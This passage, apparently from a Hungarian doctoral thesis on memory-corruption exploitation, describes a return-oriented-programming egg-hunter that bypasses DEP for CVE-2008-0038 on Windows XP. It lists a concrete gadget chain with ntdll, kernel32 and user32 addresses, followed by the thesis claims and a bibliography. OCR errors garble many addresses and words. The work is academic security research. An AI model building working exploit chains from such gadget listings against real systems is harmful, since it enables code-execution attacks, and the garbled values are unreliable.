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Virtudlis memaria (sériilékeny alkalmazas)

Heap stack (szal 1.)
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ROP payload

stack (szal 2.)
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6.1. abra Return Oriented Programming egg hunting megvalositas

A tisztan eleméleti megoldds soran feltételezhetem, hogy tetszéleges gadget a

rendelkezésemre all. A keresési kezddértek és az egg értékének beallitasa igy rendkiviil

egyszerl, csupan egy pop regiszter gadget sziikséges hozza. A megoldas nehézségét sokkal

inkabb a feltétel kiértékelés jelenti. A ROP Turing teljességének bizonyitasakor két érték

Osszehasonlitasakor az alabbi megoldas sziiletett:

az Osszehasonlitandd értékeket ki kell vonni egymasbdl, igy amennyiben
megegyeznek a kiilonbségiik nulla lesz

az eredményt negalni kell, igy egyezés esetén a carry flag nulla marad, ha nem
egyezett a két 0sszehasonlitott érték, ugy az eldjelvaltas miatt, a carry flag értéke 1
lesz

a carry flag atvihetd valamely eldzetesen kinullazott regiszterbe, pl. egy adc (add with
carry) utasitassal

a regiszterbe masolt carry flag érték tetszéleges értékkel szorozhatd, amely értéket a

stackhez adva, a ROP programban a feltételnek megfelel6 ugras hajthaté végre.

Az altalam készitett megoldashoz a fent leirt moddszert hasznaltam. Ezek alapjan az

elméletben lehetséges rovid ROP egghunter kodhoz az aldbbi stack elrendezést taldltam a

legmegfeleldbbnek:
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Relativ cim Erték Magyarazat

0x0 A pop eax gadget cime Az egg értékének eax regiszterbe
torténd masolasa

0x4 Az egg értéke

0x8 A pop ecx gadget cime Ecx regiszterbe toltom a feltételnek
megfeleld 2 eset stack cimének
kiilonbségét byteokban

Oxc Oxfftffe0 -32

0x10 A pop ebx gadget cime Az ebx regiszterbe toltdm a keresés
kezddcimét -1

Ox14 Keresési kezdocim -1

0x18 Az inc ebx gadget cime Ez a ciklus kezdete a ciklusvaltozé
az ecx

Oxlc Az xor edi, edi gadget cime Edi kinullazasa

0x20 A mov edx, eax gadget cime Az egg-et egy ideiglenes valtozoba
masolom (edx)

0x24 A sub edx, [ebx] gadget cime Itt torténik az 6sszehasonlitds, ha az
egg az aktudlis cimen van, akkor
edx-ben nulla van, egyébként nem

0x28 A neg edx gadget cime Edx negalasaval a carry flag-be 1
keriil, ha az el6z6 Osszehasonlitas
eredménye hamis volt, egyébként 0
lesz

0x2c Az adc edi, edi gadget cime A carry flaget edi-be masolom

0x30 A mul edi gadget cime Edi értéke nulla marad, ha az egg-et
megtalaltam, egyébként -32 lesz

0x34 Az add esp, edi gadget cime Esp értékéhez -32-t adok igy
visszatér a ciklus elejére, ha nincs
meg az egg

0x38 A mov esp, ebx gadget cime Esp értékét az egg-re iranyitom a

megtalalt payload helyére

6.6. Tablazat ROP payload egg-hunterhez

A tablazatban felvazolt megoldéas soran az egg értéke az eax valtozoba keriil, és egy ROP

ciklussal torténik a keresése. A ciklusvaltozo az ebx regiszter, amely minden 1épésben eggyel

novekszik az inc ebx gadgetnak koszonhetden. A ciklusbol vald kilépést az add esp, edi

gadget hatdrozza meg. Amennyiben edi értéke 0 az add esi, edi gadget végrehajtasa elott, ugy

a ciklusvégrehajtas befejezddik. Minden mas esetben az edi értéke -32 lesz, amellyel a ciklus

elejére ugrik a ROP program és ndvelddik a ciklusvaltozo. A ciklusbol torténd kilépést egy

kivonas egy negalas és egy szorzads szabalyozza. Az egg értékének keresésekor a sub edx,

[ebx] kivonas miatt az edx értéke nulla lesz, ha az egg érték az aktudlisan vizsgalt

memoriarészen van. Minden mas esetben a végeredmény egy nem nulla szam. A negalas

assembly utasitas egy specialis tulajdonsaga, hogy minden esetben beallitja a carry flaget 1-re
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(mivel elgjelvaltas tortént) kivéve, ha nulla volt az értéke (nulla negéltja nulla, igy nincs

eldjelvaltas). Ez az a pont, ahol a ROP program két részre valik: ha megtalalta az egg-et a

carry flag nulla lesz, ha nem akkor egy. Innentdl kezdve csupan néhany egyszeri 1épés

sziikséges. Az adc gadgettal a carry flag-et az edi regiszterbe tolti a ROP program, majd

megszorozza -32-vel. gy az add esp, edi gadget elbtt valoban a két lehetdség egyike valosul

meg a ROP programmal.

A gyakorlati megvalodsitas soran a CVE-2008-0038 hiba kiaknazasa soran természetesen nem

alltak rendelkezésre az elméleti lehetdségben felhasznalt gadgetek. A megoldas azonban

kivitelezhetd volt az alabbi gadgetek segitségével:

Cim Fajl Kod Magyarazat
7¢972a76 Ntdll.dll Pop ecx Az  egg-hunter  keresés
(5.1.2600.2180) kezd6cime
7¢80991b Kernel32.dll Pop eax Az egg értékének beallitasa
(5.1.2600.2180)
7c83cf8e Kernel32.d11 Inc ecx A mutatd minden
cikluslépésben novelddik
7c82152a Kernel32.dll Sub eax, [ecx+0x4] Az aktualisan vizsgalt hely
Osszehasonlitisa az  egg
értékkel
7¢839319 Kernel32.d11 Neg eax A carry flag bedllitasa a
feltételnek megfelelden
7¢80991b Kernel32.dll Pop eax Eax kezdeti bedllitasa a
feltételnek megfelelden
7¢801d95 Kernel32.dll Adc al, 0x3b A carry flag eax-be torténd
masolasa
7c80e174 Kernel32.dll Pop ebx Ebx regiszter kinullazasa
7¢939d67 Ntdll.dll Add ebx, ecx Ecx értékét ideiglenesen ebx-
be menti
7¢972a76 Ntdll.dll Pop ecx Bedllitja a stack kiilonbséget
a feltétel két agdhoz
7¢9019¢4 NtdllL.dll Mul ecx Eax bedllitasa nullara vagy a
stack kiilonbségre a feltétel
fliggvényében
77d7fa8f User32.dll Mov edi, esp Esp regiszter lementése edi-
(5.1.2600.2180) be
77d60aca User32.dll Mov esi, edi Edi regiszter lementése esi-
be
7¢c8163ce Kernel32.d11 Xor edi, edi Edi kinullazasa
7¢85935¢ Kernel32.dll Add edi, ebx Edi beallitasa a keresési
cimre
7¢870d33 Kernel32.dll Mov ecx, edi Ecx Dbeallitaisa a keresési

cimre
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7¢820969 Kernel32.d11 Mov edi, eax Edi bedllitdsa nullara vagy a
stack kiilonbségre a feltétel
kiértékelés alapjan

7¢817d02 Kernel32.d11 Add esi, edi A nulla vagy a stack
kiilonbség hozzaadasa az esi-
hez

7c86baf3 Kernel32.dll Pop edi Edi  bedllitdsa az  esp
lementése utan stack valtozas
értekére

7¢817d02 Kernel32.d11 Add esi, edi Esi beallitasa az €el6z6 esi
értékkel

7¢9011a7 Ntdll.dll Mov esp, esi Esp beallitasa a ciklus végén,

ha nincs meg az egg a stack
cim visszaugrik a tablazat
masodik sorara, ha megvan
az egg akkor folytatodik a
végrehajtas

6.7. Tablazat Egg-hunter ROP megoldas a CVE 2008-0038 hibahoz

A nem rendelkezésre all6 gadgetek miatt a gyakorlati megvalositds sordn szamos triikkot
kellett alkalmaznom. Lathatdo pl. hogy adc utasitisbol csupan egy adc al, Ox3b allt
rendelkezésre, igy az adc mivelet elott eax regisztert -Ox3b-re vagy -Ox3a-ra kellett volna
allitanom (a gyakorlatban ez Oxffffffc5 illetve Oxffff{fc6). Ugyanakkor egy késébbi gadgetban
egy mellékhatds eredményeképpen az eax regiszter értéke megndovelddott, igy az eax kezdeti
beallitasakor ezt figyelembe kellett venni. Szintén mas megoldast igényelt az esp regiszter
ciklus végi bedllitasa. Mivel kozvetlen add esp, edi gadget nem 4&llt rendelkezésre, ezért
helyette mov esp, esi gadgetot kellet alkalmaznom. Ez viszont azt vonta maga utan, hogy az
esp értékét eldzetesen az esi-be kellett menteni. Abban az esetben, ha a feltétel teljesiil (az egg
megvan) ugy figyelembe kell venni még azt is, hogy a mov esi, esp gadget végrehajtasa utan
az esp tovabb valtozik, tehat a mov esp, esi gadget el6tt esi-t mindenképpen novelni kell (ezért

van két stack kiilonbség érték a ROP programban).

Az igy elkészitett ROP program tobb mint 200 byte hosszusagu (268 byte), ugyanakkor ez
egy olyan ROP payload, amely egg-hunter funkciot lat el egy tényleges és komoly
sériilékenységen keresztiil olyan mdédon, hogy megkeriili a memorialap futas elleni védelmét
¢s ehhez nem hasznal DEP mddositdé API hivasokat. A bemutatott ROP program gyakorlatilag
egyetlen sajat kodrészletet sem tartalmaz, minden egyes része a virtualis memoridban mar
meglévo kodrészekbdl lett dsszerakva. Az elkészitett exploit teljes tartalma a C fliggelékben

talalhato. Ilyen megoldast és mintaprogramot a szakirodalomban nem talaltam.
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A bemutatott programmal kapcsolatban azonban fontos megemliteni, hogy nem ellendrzi,
hogy a keresett memoriarész olvashatd-e vagy sem, igy a blind egg hunting megoldast
valositja meg. Mivel azonban a ROP program Iényegi része a feltétel kiértékelés és a ciklus
ezért kijelenthetd, hogy ezzel a megoldassal egy nem blind megvalositas is kivitelezhetd

lenne, csupan a ciklustdrzsben kellene az NtDisplayString-es megoldast elhelyezni.
6.4 Osszegzés

Ebben a fejezetben olyan egg hunting payloadkeresési megoldasokat vizsgaltam, amelyek
képesek a memorialap futas elleni védelmet megkeriilni. A szakirodalomban Gsszesen egy
megoldéas all rendelkezésre, de ez a megoldas is a szokdsos memorialap futdsvédelem
kikapcsolasi technikéan alapszik, mely soran egy operacidsrendszer API hivassal a timado kod

egyszeriien modositja az adott memorialap futas elleni védelmét.

A kutatdsom soran két uj modszert allitottam eld és proof of concept jellegli exploitokkal
bizonyitottam ezek helyes mikodését egy valds sériilékenységen keresztiil (CVE-2008-0038).
A bemutatott megolddsok nem hasznaljak a memorialap futasvédelem modositasra szolgélod

metddusokat, emellett félig vagy teljesen a ROP technikara épitenek.

Megoldas tipusa Tipus Hossz Hossz
klasszikus | blind

Két VirtualProtect 1 104 90

VirtualProtect + 1 56 42

ROP payload

Add - pop -mov 2 96 48

gadgettal

Repne movsd 2 52 40

gadgettal

Repne movsd 2 72 60

beiréssal

Tisztan ROP-pal 3 - 268

6.8. Tablazat A vizsgalt egg-hunter megoldasok 6sszehasonlitasa
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Az egg-hunter masolason alapulé technika egy ROP programmal atmdésolja a klasszikus egg-
hunter kédot egy irhatod és futtathatdé memoriateriiletre majd ott futtatja azt. A tisztan ROP
megoldas egy erre a célra megirt ROP kodsorozattal elvégzi a feltétel kiértékelést €s a
ciklusvégrehajtast az egg kereséséhez. A kidolgozott megoldasok hosszait a 6.8. tablazatban

foglalom Ossze.

A tablazatbol jol lathatd, hogy mind a hagyomdanyos, mind a blind egg-hunter technikara
készithetéek voltak olyan exploitok, amelyek képesek a memorialap futdsvédelmét
megkeriilni. A hagyomanyos megoldas hossza 52 byte lett a legkedvezdbb esetben, a blind

egg-hunter legrovidebb hossza szerencsés esetben 40 byte.

Az egg-hunter payloadkerés és a ROP modszer kombinalasaban megalkotott eredményeimet

az alabbi tézisben foglalom Gssze:

3. Megvizsgaltam a Return Oriented Programming (ROP) memoria korrupcios
kiaknazasi technika és az egg hunting payload keresési technika kombinalhatésagat és a
két modszer egyiittes hasznalataval tobb, a memdrialapok futtatasvédelmének
megkeriilésére alkalmas modszert dolgoztam ki. A kidolgozott modszerek képesek a
payload megkeresésére és futtatasara az adatvégrehajtias elleni védelem miikodése
esetén is.

3. a, Kidolgoztam az egg-hunterek ROP technikaval torténd futtathato
memoriateriiletre torténé masolasanak és végrehajtasanak néhany lehetséges
megoldasat, amelyek megkeriilik az operacios rendszer DEP védelmét. Definialtam az
egyiittes hasznalat feltételeit, elonyeit és hatranyait.

3. b, Kidolgoztam a tisztan ROP technikan alapulé egg-hunter kodvégrehajtas egy
lehetséges megoldasat, amely megkeriili az operacios rendszer DEP védelmét.
Definialtam az egyiittes hasznalat feltételeit, elonyeit és hatranyait. '""Proof of concept"

jellegli tamado6 koddal bizonyitottam a helyes miikodést.

Kapcsolddo publikaciok:
L. Erdédi, Z. L. Nemeth: When Every Byte Counts — Writing Minimal Length  Shellcodes -
13th IEEE International Symposium on Intelligent Systems and Informatics, Subotica,

Serbia, 2015 (accepted for publication)

99
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7. Osszefoglalas

A kutatomunka megkezdése elott a modern memoriakorrupcion alapuld szoftverhiba
kihasznalasok fejlesztését és elemzését tliztem ki célomul. Vizsgaltam a JOP modszer
dispatcher gadgetjének keresését, amelyre korabban azt feltételeztem, hogy a jelenleg elérhetd
algoritmus nem elég pontos €s sok egyszertisitést tartalmaz. Célomul tiiztem ki egy pontosabb
¢s jobb algoritmus megalkotasat. A kutatomunka sordn egy az eredetinél tobb szempontot
figyelembe vevd algoritmust alkottam, amely képes Osszetettebb dispatcher gadgetek
megtalalasa. fgy az elsé hipotézisem teljesiilt azzal a kikotéssel, hogy az altalam készitett
algoritmus sem taldl meg nyilvanvaléan minden dispatcher gadgetot. Az algoritmus tovabbi

pontositasa a jovoben még mindenképpen lehetséges.

A ROP ¢és a JOP vizsgalatanal a hosszabb payloadok elhelyezésének problémajat vizsgaltam.
Ezen belill kiilon foglalkoztam a ROP és a JOP heap spray tachnikdval torténd
kombinalhatésagaval valamint a ROP és az egg hunting kombinalhatosagaval. Mindkét
modszernél eldzetesen azt feltételeztem, hogy a modszerek egyiittesen is alkalmazhatok és
eredményiil egy kedvezd memoriakorrupcidohoz kotddd szoftverhiba kihaszndlasi lehetdség

adodik a kedvezd tulajdonsagok egyesiilésével.

A ROP és a JOP heap spray payload elhelyezéssel torténd kombindldsa soran "Proof of
Concept" jellegli exploitokkal bizonyitottam a lehetséges egyiittes hasznalatot. Az igy
alkalmazott kiakndzasi technika szamos elényos tulajdonsagot hordoz, igy tehat az el6zetesen
feltételezett hipotézis teljesiilt. A mddszerek kombinalhatosaganal az egyediili negativ hatés
az ASLR nyujtotta védelem megjelenése, amely miatt kiegészitd elemek kellenek a tdmadéas

végrehajtasahoz.

A 3.-ik hipotézisem a ROP modszer €s az egg hunting technika kombindlhatosagardl szolt.
Elézetesen feltételeztem, hogy a két modszer egyiittesen is alkalmazhato, ezaltal megoldva az
egg hunting legnagyobb problémdjat az adatvégrehajtas elleni védelem miatti
hasznélhatatlansagot. A kombinaciéra szamos lehetOséget mutattam, a helyes miikodést jol

mukodo exploitokkal igazoltam, igy a harmadik hipotézisem teljestilt.
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TEZISEK

1. a, Uj algoritmust dolgoztam ki a Jump Oriented Programming meméria korrupciés
szoftverhiba kiaknazasi modszerhez tartozo dispatcher gadgetek Kkeresésére. A
kidolgozott modszert nem befolyasolja a vizsgalt kodrészlet hossza és képes figyelembe
venni a gadget belsejében talalhaté kozbenso utasitasokat. Erre a feladatra jelenleg még
nincs pontos algoritmus az irodalomban. Meghataroztam a dispatcher gadget megfelel6
miikodésének feltételeit. Igazoltam, hogy szamos jelenlegi windowsos és linuxos
operacios rendszer tartalmaz jol mikodo dispatcher gadgetnek alkalmas kodrészleteket.
1. b, Uj eljarast dolgoztam ki a dispatcher gadgetek hasznalhatésiag szerinti
osztalyozasara, amely figyelembe veszi a szoftverhiba tipusat, a verem hasznalhatosagat
valamint az architektura tipusat is. Egy egyszerii mintatimadassal szemléltettem a
dispatcher gadgetek helyes mitkodését.

[66] [67], (34.-54. oldal)

2. a, Megvizsgaltam a Return Oriented Programming (ROP) memdria korrupcios
kiaknazasi technika és a heap spray payload elhelyezési technika kombinalhatosagat, és
a két modszer egyiittes hasznalataval egy hatékonyan alkalmazhat6 1j tamadasi
technikat dolgoztam ki. A kidolgozott technika azzal jellemezheté, hogy a payloadot a
memoriakorrupcio kiaknazasa elott helyezi el a memoriaban és képes az
adatvégrehajtas elleni védelem megkeriilésére. Meghataroztam az egyiittes hasznalat
feltételeit, elonyeit és hatranyait. "Proof of concept" jellegii tamado kéddal
bizonyitottam a ROP és heap spray technika kombinaciojanak helyes miikodést.

2. b, Megvizsgaltam a Jump Oriented Programming (JOP) memodria korrupcios
kiaknazasi technika és a heap spray payload elhelyezési technika kombinalhatosagat és
a két modszer egyiittes hasznalataval egy hatékonyan alkalmazhaté 1j tamadasi
technikat dolgoztam ki. A kidolgozott technika azzal jellemezheto, hogy az eldzetes
payload elhelyezés és az adatvégrehajtas elleni védelem megkeriilésén tul a ROP ellen
kidolgozott védelmek megkeriilésére is alkalmas. Meghataroztam az egyiittes hasznalat
feltételeit, elonyeit és hatranyait. "Proof of concept" jellegi tamado koéddal
bizonyitottam a JOP és heap spray technika kombinacidjanak helyes miikodést.

[68], (55.-77. oldal)

102



3. Megvizsgaltam a Return Oriented Programming (ROP) memoria korrupcios
kiaknazasi technika és az egg hunting payload keresési technika kombinalhatdsagat és a
két modszer egyiittes hasznalataval tobb, a memdrialapok futtatasvédelmének
megkeriilésére alkalmas médszert dolgoztam ki. A Kkidolgozott modszerek képesek a
payload megkeresésére és futtatasara az adatvégrehajtias elleni védelem miikodése
esetén is.

3. a, Kidolgoztam az egg-hunterek ROP technikaval torténd futtathato
memoriateriiletre torténé masolasanak és végrehajtasanak néhany lehetséges
megoldasat, amelyek megkeriilik az operacios rendszer DEP védelmét. Definialtam az
egyiittes hasznalat feltételeit, elonyeit és hatranyait.

3. b, Kidolgoztam a tisztan ROP technikan alapulé egg-hunter kodvégrehajtas egy
lehetséges megoldasat, amely megkeriili az operacios rendszer DEP védelmét.
Definialtam az egyiittes hasznalat feltételeit, elonyeit és hatranyait. '""Proof of concept"
jellegii tamado koddal bizonyitottam a helyes miikodést.

[69] [70], (dolgozat 78.-97. oldal)
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Utoszo

A memoria korrupcid egy rendkiviil veszélyes szoftverhiba, melynek kutatdsat egyrészt soha
nem lehet lezarni, masrészt soha nem Ilehet teljesen megoldottnak tekinteni. A
szoftvertechnoldgia nagyon nagy iitemben fejlodik, igy természetesen nem lehet elére tudni,
milyen ) megoldéasok sziiletnek a jovében. Egy azonban biztos, amig emberekhez kotddik a
szoftverfejlesztés, akar tervezés, akar kodolas, akar tesztelés szempontjabol, hibdk mindig

lesznek a szoftverekben.

A szoftverhibdk oncéli kiakndzdsa jelen pillanatban egy jelentds teriilete az
informaciobiztonsagnak. Naponta fedeznek fel Gjabb és ijabb sulyos szoftverhibakat és olyan
tamad6  szoftvereket, amelyek ezekre ¢éplilnek. A  szoftverhibdkon keresztiili
informacioszerzés napjainkban hatalmas méreteket 6ltott. A dolgozat készitésének idejében
fedezték fel a Duqu 2.0 névre keresztelt a Kaspersky Lab altal minden id6k kifinomultabb
kémkedd szoftverének mindsitett timado eszkozt. Az ilyen kémkedd intelligens eszkdzok egy
nagyon jelentds ¢épitdeleme legalabb egy, de altaldban inkdbb tobb nulladik napi

sériilékenység, amely valamely nem ismert szoftverhibabodl szarmazik.

A memoriakorrupcids szoftverhiba kiaknazasok kutatdsat a dolgozat elkésziilte utan is nagy
iitemben folytatom tovabb. Folyamatosan latszodnak azok az 0j lehetdségek, amelyekkel
érdemes foglalkozni. Ilyen pl. a JIT-ROP ¢és JIT-JOP technika, amely teljesen kikeriili az
ASLR altal biztositott "biztonsagot". Vizsgélni kell azonban, hogy milyen koriilmények
kozott és hogyan lehet ezeket hatékonyan hasznalni. Nagyon fontos irany a mobil operacids
rendszerek illetve a bedgyazott rendszerek memoria korrupcidjaval kapcsolatos hibainak
elemzése is. Egy bedgyazott rendszerben futd6 kod oOncélu modositdsa nagyon sulyos

kovetkezményekkel jarhat.

Nem szabad azonban elfelejteni, hogy ezen kutatasok célja egyértelmiien nem a tamado oldal
erésitése. A vizsgalat targya mindig az, hogy minél szofisztikaltabb és minél nehezebben
észrevehetd tamado kodot alkossak, de mindezt kizarolag abbdl a célbol teszem, hogy ezeket

nyilvanossagra hozva, az ezzel kapcsolatos védekezések fejlodését eldsegitsem.

104



Irodalomjegyzék

[1]

[2]

[3]

[4]

[3]

[6]

[7]

[8]

[9]

[10]
[11]
[12]

[13]

[14]

Mcafee - Net Losses: Estimating the Global Cost of Cybercrime - Economic impact of
cybercrime II - http://www.mcafee.com/ca/resources/reports/rp-economic-impact-
cybercrime2.pdf, 2014

R. Langner - To Kill a Centrifuge: A Technical Analysis of What Stuxnet’s Creators
Tried to Achieve, 2013 - http://www.langner.com/en/wp-content/uploads/2013/11/To-
kill-a-centrifuge.pdf, 2013

Yahoo Tech: The Sony hack: how it happened, who is responsible, and what we've
learned, 2012
http://www.teachingthecore.com/wpcontent/uploads/2012/07/AoW TheSonyHack.pdf
EC Council - Certified Ethical Hacker exam:
http://www.eccouncil.org/Certification/certified-ethical-hacker, 2014

OpenSSL 'Heartbleed' vulnerability (CVE-2014-0160)
https://www.uscert.gov/ncas/alerts/TA14-098 A, 2014
http://blog.securitymouse.com/2014/06/raising-lazarus-20-year-old-bug-that.html,
2014

E. Buchanan, R. Roemer, S. Savage, Return-Oriented Programming: Exploits Without
Code Injection - http://cseweb.ucsd.edu/~hovav/talks/blackhat08.html, 2008

T. Bletsch, X. Jiang, V. Freeh, Z. Liang, Jump-Oriented Programming: A New Class
of Code-Reuse Attack- http://www.csc.ncsu.edu/faculty/jiang/pubs/ASIACCS11.pdf,
2011

corelanc0d3r (Corelean Team): Heap spraying demystified:
https://www.corelan.be/index.php/2011/12/31/exploitwriting-tutorial-part-11-heap-
spraying-demystified/#0x0c0c0cOc, 2011

A. Ansari: Egg-hunter - https://www.exploit-db.com/docs/18482.pdf, 2010

Exploit-db - https://www.exploit-db.com, 2014

Microsoft Support: A detailed description of the Data Execution Prevention on
Windows XP SP2 - https://support.microsoft.com/en-us/kb/875352, 2009

L. Li, J. E. Just, R. Sekar: Address-Space Randomization for Windows Systems -
http://seclab.cs.sunysb.edu/seclab/pubs/acsac06.pdf, 2006

Microsoft Support: The Enhanched Mitigation Experience Toolkit -
https://support.microsoft.com/en-us/kb/2458544, 2015

VI



[15]

[16]

[17]

[18]

[19]

[20]

[21]

[22]

[23]

[24]

[25]

[26]

[27]

R. Arpachi-Dusseau, A. Arpachi-Dusseau: Operating Systems - Three easy pieces -
Chapter 13: Address Spaces, http://pages.cs.wisc.edu/~remzi/OSTEP/vm-intro.pdf,
2013

R. Arpachi-Dusseau, A. Arpachi-Dusseau: Operating Systems - Three easy pieces -
Chapter 16: Segmentation, http://pages.cs.wisc.edu/~remzi/OSTEP/vm-
segmentation.pdf, 2013

J. de Boyne Pollard: http://homepage.ntlworld.com/jonathan.deboynepollard/ FGA/
function-calling-conventions.html, 2010

B. Murat: Buffer overflows demystified, http://www.enderunix.org/docs/en/bof-
eng.txt, 2009

Shellstorm website: Shellcode database for study cases - http://shell-
storm.org/shellcode/, 2014

J. Pincus, B. Baker: Beyond Stack Smashing: Recent Advances in Exploiting Buffer
Overruns -http://www.cs.berkeley.edu/~daw/teaching/cs261-
f07/reading/beyondsmashing.pdf, 2014

A. One: Smashing The Stack For Fun And Profit -
http://www.phrack.org/issues/49/14.html, 2009

J. Regehr, A. Reid, K. Webb: Eliminating Stack Overflow by Abstract Interpretation,
Embedded Software, Volume 2855 of the series Lecture Notes in Computer

Science 2005, pp. 306-322

E Conrad: Heap ‘Off by 1° Overflow Illustrated, https://www.sans.edu/student-
files/presentations/heap overflows notes.pdf, 2010

Infosec Institute: Heap Overflow: Vulnerability and Heap Internals Explained -
http://resources.infosecinstitute.com/heap-overflow-vulnerability-and-heap-internals-
explained/, 2012

M. Sikorski, A. Honig: Practical Malware Analysis - The Hands-On Guide to
Dissecting Malicious Software -Chapter 6: Recognizing C code constructs in
assembly 2012.

A Pelletier: Advanced exploitation of Internet Explorer heap overflow (Pwn20wn
2012 exploit) - VUPEN Vulnerability Research Team (VRT) Blog, 2012

W. K. Du: Computer Security - Format String Vulnerability -
http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes New/Format_String.pdf
2008

VI



[28]

[29]

[30]

[31]

[32]

[33]

[34]

[35]

[36]

[37]

[38]

[39]

[40]

OWASP: Format string attack, https://www.owasp.org/index.php/Format_string
attack, 2010

M. Czumak: Windows Exploit Development — Part 6: SEH Exploits
http://www.securitysift.com/windows-exploit-development-part-6-seh-exploits/, 2012
corelanc0d3r: Exploit writing tutorial part 11 : Heap Spraying ~ Demystified
https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-
spraying-demystified/#0x0c0c0cOc, 2011

Heap Spray Exploit Tutorial: Internet Explorer Use After Free Aurora Vulnerability,
http://www.thegreycorner.com/2010/01/heap-spray-exploit-tutorial-internet.html,

2010

Ferguson: Understanding the heap by breaking it -https://www.blackhat.com/
presentations/bh-usa-07/Ferguson/Whitepaper/bh-usa-07-ferguson-WP.pdf, 2007

W. Wu, A Killer Combo: Critical Vulnerability and ‘Godmode’ Exploitation on CVE-
2014-6332, http://blog.trendmicro.com/trendlabs-security-intelligence/a-killer-
combo-critical-vulnerability-and-godmode-exploitation-on-cve-2014-6332/, 2014

C. Cowan, C. Pu, D. Maier, H. Hinton, J. Walpole: StackGuard: Automatic Adaptive
Detection and Prevention of Buffer-Overflow Attacks, https://www.usenix.org/legacy/
publications/ library/proceedings/sec98/full _papers/cowan/cowan_html/cowan.html,
2010

D. Litchfield: Defeating the stack based buffer overflow prevention mechanism of
Microsoft Windows 2003 Server, https://www.blackhat.com/presentations/bh-asia-
03/bh-asia-03-litchfield.pdf, 2003

Microsoft Developer Network: /GS (Buffer Security Check)
https://msdn.microsoft.com/en-us/library/8dbf701c.aspx, 2008

swiat: GS cookie protection — effectiveness and limitations http://blogs.technet.com/
b/srd/archive/2009/03/16/gs-cookie-protection-effectiveness-and-limitations.aspx,
2009

A. Anisimov: Defeating Microsoft Windows XP SP2 Heap protection and DEP bypass
- http://www .ptsecurity.com/download/defeating-xpsp2-heap-protection.pdf, 2009

Microsoft Support: A detailed description of the Data Execution Prevention (DEP)

feature in Windows XP Service Pack 2, Windows XP Tablet PC Edition 2005, and
Windows Server 2003".Microsoft. 2006
Microsoft Technet: - Data Execution Prevention, https://technet.microsoft.com/en-

us/library/cc738483(v=ws.10).aspx, 2006

VIII



[41]

[42]

[43]

[44]

[45]

[46]

[47]

[48]

[49]
[50]

[51]

M. Tran, M. Etheridge, T. Bletsch, X. Jiang, V. Freeh, P. Ning: On the Expressiveness
of Return-into-libc Attacks, Proceedings of the 14th International Symposium on
Recent Advances in Intrusion Detection (RAID 2011), Menlo Park, California, 2011.
R. Roemer, E. Buchanan, H. Shacham, S. Savage: Return-Oriented Programming:
Systems, Languages, and Applications, ACM Transactions on Information and System
Security, 15(1), p. 2:1-2, 2012.

N. Carlini and D. Wagner: ROP is Still Dangerous: Breaking Modern ~ Defenses,
USENIX Security, pp. 385-399, USENIX Association, 2014

H. Shacham: The geometry of innocent flesh on the bone: Return-into-libc without
function calls (on the x86). In Proceedings of CCS 2007, S. D. Capitani and P.
Syverson, Eds. ACM Press, 552-561, 2007

T. Bletsch, X. Jiang, and V. W. Freeh: Jump-oriented programming: a new class of
code-reuse attack, ASIACCS '11, Proceedings of the 6th ACM Symposium on
Information, Computer and Communications Security, ACM New York, NY, USA pp.
30-40, 2011

S. Checkoway, L. Davi, A. Dmitrienko, A. Sadeghi, H. Shacham, M. Winandy:
Return-oriented programming without returns, Proceeding CCS '10 Proceedings of the
17th ACM conference on Computer and communications security, ACM New York,
NY, USA 201 pp. 559-572, 2010

H. Shacham, M. Page, B. Pfaff, E. J. Goh, N. Modadugu, D. Boneh, On the
effectiveness of address-space randomization, Proceedings of the 11th ACM
conference on Computer and communications security - CCS '04 (PDF), pp. 298-307,
2004

B. Spengler: PaX: The Guaranteed End of Arbitrary Code Execution grsecurity.net,
Slides 22 -35, 2003

CVE Details website, http:// http://www.cvedetails.com/, 2015

J. Li, Z. Wang, X. Jiang, M. Grace, S. Bahran, Defeating return-oriented rootkits with
"Return-Less" kernels, EuroSys 10' Proceedings of the Sth European conference on
Computer systems, New York, pp. 195-208, 2010

T. Bletsch, X. Jiang, and V. W. Freeh: Jump-oriented programming: A new class of
code-reuse attack, ASIACCS '11, Proceedings of the 6th ACM Symposium on
Information, Computer and Communications Security, ACM New York, NY, USA
pp. 30-40, 2011

IX



[52]

[53]

[54]

[55]

[56]

[57]

[58]

[59]

[60]

[61]

[62]

[63]

[64]

P. Chen, X. Xing, B. Mao, L. Xie, X. Shen, X. Jin: Automatic construction of jump-
oriented programming shellcode (on the x86) Proceeding ASIACCS '11 Proceedings
of the 6th ACM Symposium on Information, Computer and Communications Security,
pp. 20-29, 2011

K. Z. Snow, F. Monrose, L. Davi, A. Dmitrienko: Just-In-Time Code Reuse: On the
Effectiveness of Fine-Grained Address Space Layout Randomization, IEEE
Symposium on Security and Privacy pp 574-588, 2013

Corelan Team: Exploit writing tutorial 11: Heap spraying demystified -
https://www.corelan.be/index.php/2011/12/3 1/exploit-writing-tutorial-part-11-heap-
spraying-demystified, 2011

CVE-2207-0038 - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0038,
2007

http://www.exploit-db.com/sploits/04012007-Animated Cursor Exploit.zip, 2008
Safely Searching Process Virtual Address Space - http://www.hick.org/code/skape/
papers/egghunt-shellcode.pdf, 2008

Corelan Team: Exploit writing tutorial part 8: Win32 Egg Hunting.:
https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-
win32-egg-hunting/, 2010

M. Czumak: Windows Exploit Development — Part 5: Locating  Shellcode With
Egghunting, Security Sift Blog 2015: http://www.securitysift.com/windows-
exploit-development-part-5- locating-shellcode-egghunting/, 2015

Corelan Team: Exploit notes— win32 eggs-toomelet:
https://www.corelan.be/index.php/2010/08/ 22/exploit-notes-win32-eggs-to-omelet,
2010

M. Czumak: EggSandwich — An Egghunter with Integrity, Security Sift Blog, 2015:
http://www.securitysift. com/eggsandwich-egghunter-integrity, 2015

Corelan Team: Hack Notes : Ropping eggs for breakfast:
https://www.corelan.be/index.php/2011/05/12/ hack-notes-ropping-eggs-for-
breakfast/, 2011

Corelan Team: WoW64 Egghunter, 2011:
https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/, 2011
https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-
chaining-dep-with-rop-the-rubikstm-cube/, 2010



[65] H. Shacham: The Geometry of Innocent Flesh on the Bone: Returninto-libc without
Function Calls (on the x86), in CCS 2007, ACM Press, pp. 552— 561, 2007

X1



Tudomanyos kozlemények

[66] L. Erdddi, Finding dispatcher gadgets for jump oriented programming code reuse
